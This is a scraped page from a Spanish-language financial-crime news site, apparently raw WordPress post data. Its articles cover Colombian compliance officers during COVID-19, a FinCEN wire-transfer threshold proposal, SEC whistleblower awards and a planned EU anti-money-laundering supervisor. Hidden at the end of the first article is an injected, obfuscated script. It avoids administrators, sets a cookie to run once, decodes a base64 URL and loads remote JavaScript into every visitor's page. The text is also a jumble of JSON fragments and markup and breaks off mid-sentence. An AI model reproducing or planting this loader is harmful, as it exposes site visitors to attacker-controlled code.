funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto 